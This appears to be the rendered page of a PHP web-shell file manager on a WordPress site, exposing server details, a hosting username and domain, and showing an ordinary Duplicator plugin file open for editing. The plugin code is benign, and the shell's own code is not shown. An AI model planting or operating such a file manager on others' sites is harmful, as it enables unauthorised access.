Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-611.16.1.el9_7.x86_64

PHP Version:

8.2.30

User:

u226437350

Directory:

/home/u226437350/domains/rquuesolutions.com/public_html/wp-content/plugins/duplicator/lib/snaplib

Free Space:

8.52 TB

🔧 Quick Actions

✏️ Editing: class.snaplib.u.orig.files.manager.php

<?php
/**
 * Original installer files manager
 *
 * Standard: PSR-2
 * @link http://www.php-fig.org/psr/psr-2 Full Documentation
 *
 * @package SC\DUPX\U
 *
 */
defined('ABSPATH') || defined('DUPXABSPATH') || exit;

if (!class_exists('DupLiteSnapLibOrigFileManager', false)) {

/**
     * Original installer files manager
     *
     * This class saves a file or folder in the original files folder and saves the original location persistent.
     * By entry we mean a file or a folder but not the files contained within it.
     * In this way it is possible, for example, to move an entire plugin to restore it later.
     *
     */
    class DupLiteSnapLibOrigFileManager
    {

const MODE_MOVE             = 'move';
        const MODE_COPY             = 'copy';
        const ORIG_FOLDER_PREFIX    = 'original_files_';
        const PERSISTANCE_FILE_NAME = 'entries_stored.json';

/**
         *
         * @var string
         */
        protected $persistanceFile = null;

/**
         *
         * @var string
         */
        protected $origFilesFolder = null;

/**
         *
         * @var array 
         */
        protected $origFolderEntries = array();

/**
         *
         * @var string 
         */
        protected $rootPath = null;

public function __construct($root, $origFolderParentPath, $hash)
        {
            $this->rootPath        = DupLiteSnapLibIOU::safePathUntrailingslashit($root, true);
            $this->origFilesFolder = DupLiteSnapLibIOU::safePathTrailingslashit($origFolderParentPath, true).self::ORIG_FOLDER_PREFIX.$hash;
            $this->persistanceFile = $this->origFilesFolder.'/'.self::PERSISTANCE_FILE_NAME;
        }

/**
         * create a main folder if don't exist and load the entries
         * 
         * @param boolen $reset
         */
        public function init($reset = false)
        {
            $this->createMainFolder($reset);
            $this->load();
        }

/**
         * 
         * @param boolean $reset    // if true delete current folder
         * @return boolean          // return true if succeded
         * @throws Exception
         */
        public function createMainFolder($reset = false)
        {
            if ($reset) {
                $this->deleteMainFolder();
            }

if (!file_exists($this->origFilesFolder)) {
                if (!DupLiteSnapLibIOU::mkdir($this->origFilesFolder, 'u+rwx')) {
                    throw new Exception('Can\'t create the original files folder '.DupLiteSnapLibLogger::varToString($this->origFilesFolder));
                }
            }

$htaccessFile = $this->origFilesFolder.'/.htaccess';
            if (!file_exists($htaccessFile)) {
                $htfile = @fopen($htaccessFile, 'w');
                $content      = <<<HTACCESS
Order Allow,Deny
Deny from All
HTACCESS;
                @fwrite($htfile, $content);
                @fclose($htfile);
            }

if (!file_exists($this->persistanceFile)) {
                $this->save();
            }

return true;
        }

/**
         * @return string Main folder path
         * @throws Exception
         */
        public function getMainFolder()
        {
            if (!file_exists($this->origFilesFolder)) {
                throw new Exception('Can\'t get the original files folder '.DupLiteSnapLibLogger::varToString($this->origFilesFolder));
            }

return $this->origFilesFolder;
        }

/**
         * delete origianl files folder
         * 
         * @return boolean
         * @throws Exception
         */
        public function deleteMainFolder()
        {
            if (file_exists($this->origFilesFolder) && !DupLiteSnapLibIOU::rrmdir($this->origFilesFolder)) {
                throw new Exception('Can\'t delete the original files folder '.DupLiteSnapLibLogger::varToString($this->origFilesFolder));
            }
            $this->origFolderEntries = array();

return true;
        }

/**
         * add a entry on original folder.
         * 
         * @param string $identifier    // entry identifier
         * @param string $path          // entry path. can be a file or a folder
         * @param string $mode          // MODE_MOVE move the item in original folder
         *                                 MODE_COPY copy the item in original folder
         * @param bool|string $rename   // if rename is a string the item is renamed in original folder.
         * @return boolean              // true if succeded
         * @throws Exception
         */
        public function addEntry($identifier, $path, $mode = self::MODE_MOVE, $rename = false)
        {
            if (!file_exists($path)) {
                return false;
            }

$baseName = empty($rename) ? basename($path) : $rename;

if (($relativePath = DupLiteSnapLibIOU::getRelativePath($path, $this->rootPath)) === false) {
                $isRelative = false;
            } else {
                $isRelative = true;
            }
            $parentFolder = $isRelative ? dirname($relativePath) : DupLiteSnapLibIOU::removeRootPath(dirname($path));
            if (empty($parentFolder) || $parentFolder === '.') {
                $parentFolder = '';
            } else {
                $parentFolder .= '/';
            }
            $targetFolder = $this->origFilesFolder.'/'.$parentFolder;
            if (!file_exists($targetFolder)) {
                DupLiteSnapLibIOU::mkdir_p($targetFolder);
            }
            $dest = $targetFolder.$baseName;

switch ($mode) {
                case self::MODE_MOVE:
                    if (!DupLiteSnapLibIOU::rename($path, $dest)) {
                        throw new Exception('Can\'t move the original file  '.DupLiteSnapLibLogger::varToString($path));
                    }
                    break;
                case self::MODE_COPY:
                    if (!DupLiteSnapLibIOU::rcopy($path, $dest)) {
                        throw new Exception('Can\'t copy the original file  '.DupLiteSnapLibLogger::varToString($path));
                    }
                    break;
                default:
                    throw new Exception('invalid mode addEntry');
            }

$this->origFolderEntries[$identifier] = array(
                'baseName'   => $baseName,
                'source'     => $isRelative ? $relativePath : $path,
                'stored'     => $parentFolder.$baseName,
                'mode'       => $mode,
                'isRelative' => $isRelative
            );

$this->save();
            return true;
        }

/**
         * get entry info from itendifier
         * 
         * @param string $identifier
         * @return boolean  // false if entry don't exists
         */
        public function getEntry($identifier)
        {
            if (isset($this->origFolderEntries[$identifier])) {
                return $this->origFolderEntries[$identifier];
            } else {
                return false;
            }
        }

/**
         * get entry stored path in original folder
         * 
         * @param string $identifier
         * @return boolean  // false if entry don't exists
         */
        public function getEntryStoredPath($identifier)
        {
            if (isset($this->origFolderEntries[$identifier])) {
                return $this->origFilesFolder.'/'.$this->origFolderEntries[$identifier]['stored'];
            } else {
                return false;
            }
        }

public function isRelative($identifier)
        {
            if (isset($this->origFolderEntries[$identifier])) {
                $this->origFolderEntries[$identifier]['isRelative'];
            } else {
                return false;
            }
        }

/**
         * get entry target restore path
         * 
         * @param string $identifier
         * @param type $defaultIfIsAbsolute
         * @return boolean  // false if entry don't exists
         */
        public function getEntryTargetPath($identifier, $defaultIfIsAbsolute = null)
        {
            if (isset($this->origFolderEntries[$identifier])) {
                if ($this->origFolderEntries[$identifier]['isRelative']) {
                    return $this->rootPath.'/'.$this->origFolderEntries[$identifier]['source'];
                } else {
                    if (is_null($defaultIfIsAbsolute)) {
                        return $this->origFolderEntries[$identifier]['source'];
                    } else {
                        return $defaultIfIsAbsolute;
                    }
                }
            } else {
                return false;
            }
        }

/**
         * this function restore current entry in original position.
         * If mode is copy it simply delete the entry else move the entry in original position
         * 
         * @param string $identifier    // identified of current entrye
         * @param boolean $save         // update saved entries
         * @return boolean              // true if succeded
         * @throws Exception
         */
        public function restoreEntry($identifier, $save = true, $defaultIfIsntRelative = null)
        {
            if (!isset($this->origFolderEntries[$identifier])) {
                return false;
            }

$stored   = $this->getEntryStoredPath($identifier);
            if (($original = $this->getEntryTargetPath($identifier, $defaultIfIsntRelative)) === false) {
                return false;
            }

switch ($this->origFolderEntries[$identifier]['mode']) {
                case self::MODE_MOVE:
                    if (!DupLiteSnapLibIOU::rename($stored, $original)) {
                        throw new Exception('Can\'t move the original file  '.DupLiteSnapLibLogger::varToString($stored));
                    }
                    break;
                case self::MODE_COPY:
                    if (!DupLiteSnapLibIOU::rrmdir($stored)) {
                        throw new Exception('Can\'t delete entry '.DupLiteSnapLibLogger::varToString($stored));
                    }
                    break;
                default:
                    throw new Exception('invalid mode addEntry');
            }

unset($this->origFolderEntries[$identifier]);
            if ($save) {
                $this->save();
            }
            return true;
        }

/**
         * put all entries on original position and empty original folder
         * 
         * @return boolean
         */
        public function restoreAll($exclude = array())
        {
            foreach (array_keys($this->origFolderEntries) as $ident) {
                if (in_array($ident, $exclude)) {
                    continue;
                }
                $this->restoreEntry($ident, false);
            }
            $this->save();
            return true;
        }

/**
         * save notices from json file
         */
        public function save()
        {
            if (!file_put_contents($this->persistanceFile, DupLiteSnapJsonU::wp_json_encode_pprint($this->origFolderEntries))) {
                throw new Exception('Can\'t write persistence file');
            }
            return true;
        }

/**
         * load notice from json file
         */
        private function load()
        {
            if (file_exists($this->persistanceFile)) {
                $json                    = file_get_contents($this->persistanceFile);
                $this->origFolderEntries = json_decode($json, true);
            } else {
                $this->origFolderEntries = array();
            }
            return true;
        }
    }
}

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: class.snaplib.u.orig.files.manager.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation